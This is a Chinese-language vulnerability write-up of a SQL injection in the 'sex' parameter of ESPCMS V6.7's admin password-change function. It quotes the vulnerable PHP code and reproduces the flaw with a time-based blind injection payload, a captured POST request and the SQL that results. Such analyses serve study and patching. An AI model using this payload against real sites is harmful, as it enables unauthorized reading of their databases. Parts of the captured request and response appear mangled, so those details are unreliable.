

espcms sex参数 sql注入

漏洞简介:

易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统，它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便，可以帮您迅速、轻松地构建起一个强大专业的企业网站。 espcms V6.7.17.04.05 UTF8 正式版 sex参数存在 sql注入。

##漏洞分析 漏洞存在于 `www/adminsoft/control/managament.php` 193行

```
function oneditpassword() {
    parent::start_template();
    $db_table = db_prefix . 'admin_member';
    $password1 = md5($this->fun->accept('password1', 'P'));
    $passwordlog = $this->fun->accept('password1', 'P');
    $password = md5($this->fun->accept('password', 'P'));
    $name = $this->fun->accept('name', 'P');
    $sex = $this->fun->accept('sex', 'P');
    $db_where = 'id=' . $this->esp_adminuserid . ' and username=\' ' . $this->esp_username . '\\' and password=\' ' . $password1 . '\\' and isclass=1';
    $rsMember = $this->db->fetch_first('SELECT id FROM ' . $db_table . ' WHERE ' . $db_where);
    if (!$rsMember) {
        $errconter = $this->lng['management_password_password_error'];
        $this->writelog($this->lng['management_password_log'], $this->lng['log_extra_no'] . ' user=' . $this->esp_username . ' password=' . $passwordlog);
    } else {
        $db_set = "password='$password',name='$name',sex=$sex";
        $this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
        $this->writelog($this->lng['management_password_log'], $this->lng['log_extra_ok']);
        $this->calldialogmessage($this->lng['management_password_message'], $this->lng['message_botton'], '', 0, 1, 'locationout');
    }
    $db_where = 'id=' . $this->esp_adminuserid . ' and username=\' ' . $this->esp_username . '\\' and isclass=1';
    $rsMember = $this->db->fetch_first('SELECT id,username,password,name,sex,outtime,ipadd FROM ' . $db_table . ' WHERE ' . $db_where);
    $this->ectemplates->assign('memberinfo', $rsMember);
    $this->ectemplates->assign('errconter', $errconter);
    $this->ectemplates->display('admin/admin_password');
}
```

漏洞触发点在 `$sex = $this->fun->accept('sex', 'P');` 继续跟踪 `accept` 在 `www/public/class_function.php` 文件 第358行

```
function accept($k, $var = 'R', $htmlcode = true, $rehtml = false) {
    switch ($var) {
        case 'G':
```

```

        $var = &$_GET;
        break;
    case 'P':
        $var = &$_POST;
        break;
    case 'C':
        $var = &$_COOKIE;
        break;
    case 'R':
        $var = &$_GET;
        if (empty($var[$k])) {
            $var = &$_POST;
        }
        break;
    }
    $putvalue = isset($var[$k]) ? $this->daddslashes($var[$k], 0) : NULL;
    return $htmlcode ? ($rehtml ? $this->preg_htmldecode($putvalue) : $this->htmldecode($putvalue)) : $putvalue;
}

```

这里表示 `sex` 参数是 post 传递过来的，然后用 `daddslashes` 函数进行过滤。继续看 `management.php` 的代码。

```
$db_set = "password='$password',name='$name',sex=$sex";
```

漏洞触发就是在这里，`sex` 没有用单引号引起，所以上面的过滤比不过没有起作用。导致 sql 注入漏洞。

漏洞复现##

管理员身份登录后台，点击修改密码，然后抓包，修改 `sex` 的值，进行 sql 注入。

然后抓包修改 `sex` 参数值 payload: `1 where id=1 and 1=if(ascii(mid((select user())from(1)for(1)))=114,sleep(3),0)%2`

Request

RawParamsHeadersHex

POST /adminsoft/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.9.1.31/adminsoft/index.php?archive=management&action=password&id=&idheight=310
Cookie: go=0a1.1.1521871089.1485770303; atuv=279721; bdshare_firsttime=1486203256277;
#_distid=go15602e6ad6c46-c08781100c07f9-12c2d84e-16400-16c062e6ad6c46;
#_id=DATA00002C2D0=cont_e_id3D109320D1-1486383110-V2EntInet1D1496437405; bd_mid=43kgRm;
#_auth=1c730182c007f9c0f9eb9d41813900300c7056c123930108f65e6c2e6830a021f02012800x2e1;
#_lvt=7b43330a4daef4351e551908e0a2c-1486893250; #_lpyt=7b43330a4daef4351e551908e0a2c-1486893250;
#_id=ICMS_AUP=5dce74c3aaba3a40ee03aaw61f7a939f839f958a937003089909e2839c0a808e447vteahy7132Pm4847b7y23237Q0yQ1w452B8q7RugC2e
#_ig; ICMS_ACP_sidestat_min=0; ICMS_article_category_label=tree; cookiechecker129583e831e843c0808c0bc0802421fe0-1486893250;
#_PSP833D=fg0dgt(enl)Cevn0j0d9i0D; ewimg_seccode=5f9284da08AukqzshvLE0w0fTvy10m2y58Tf4339;
#_sp_powerlist=9d4h7f4wdL1D0Cse0C2Q0wv3jPa2f08w0f0gpl0R8519;
#_slap_admininfo=BB4P6tLIXnd0ve2a01eVce6i5R3Wmev13HeBTeA6Xv7MbB0eTLD8cyh02qev0T3L0dQ23pmbFAK4c1V6z0HMHMfcaW3zF03800zph12B664KacTau4Ph40xy
0juaEVTU7080nday9f74P7FMA37Ph1K2Tq8c0W0hpa0d1D
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 276

point=admin&archive=management&action=editpassword&idheight=310&username=admin&password1=admin123&password2=admin123&password3=admin123&name=admin
sex=1 where id=1 and 1=if(ascii(mid((select user())from(1)for(1)))=114,sleep(3),0)# 0%236Submit=5E7A1A1AE30A5A7444E4E48F4A5E6A548B9

Response

RawHeadersHexHTMLRender

HTTP/1.1 200 OK
Date: Fri, 09 Jun 2017 00:50:22 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.5.30
X-Powered-By: PHP/5.5.30
Content-Length: 3034
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<title>test</title>
<link href="templates/cms/baseList.css" rel="stylesheet" type="text/css" />
<link href="templates/cms/all.css" rel="stylesheet" type="text/css" />
<link href="templates/cms/findAll.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/control.js"></script>
<script type="text/javascript" src="js/form.js"></script>
<script type="text/javascript" language="JavaScript">
var ifmainname = 1;
var disHeight="310";
var isfunction="1";

var resizeWindow: null;

window.onresize = function(){
var h = \$(window).height();
if(resizeWindow=h){
resizeWindow();
resizeWindow=h;
}

function sizeWindow(){
var h = \$(window).height();
if(h==null||getComputedStyle('mainbodybottomauto')){
\$(mainbodybottomadd).css('height:h-40');
}
}
var secCode = 5;

</head>
<body>

</body>
</html>

Type a search term

0 matches

Type a search term

0 matches

3,254 bytes | 3,044 millis

这里我们看到执行sql延时3秒。

实际执行的sql语句为：

```
UPDATE espcms_admin_member SET  
password='0192023a7bbd73250516f069df18b500',name='admin',sex=1 where id=1 and  
1=if(ascii(mid((select user())from(1)for(1)))=114,sleep(3),0)# WHERE id=1 and  
username='admin' and password='0192023a7bbd73250516f069df18b500' and isclass=1
```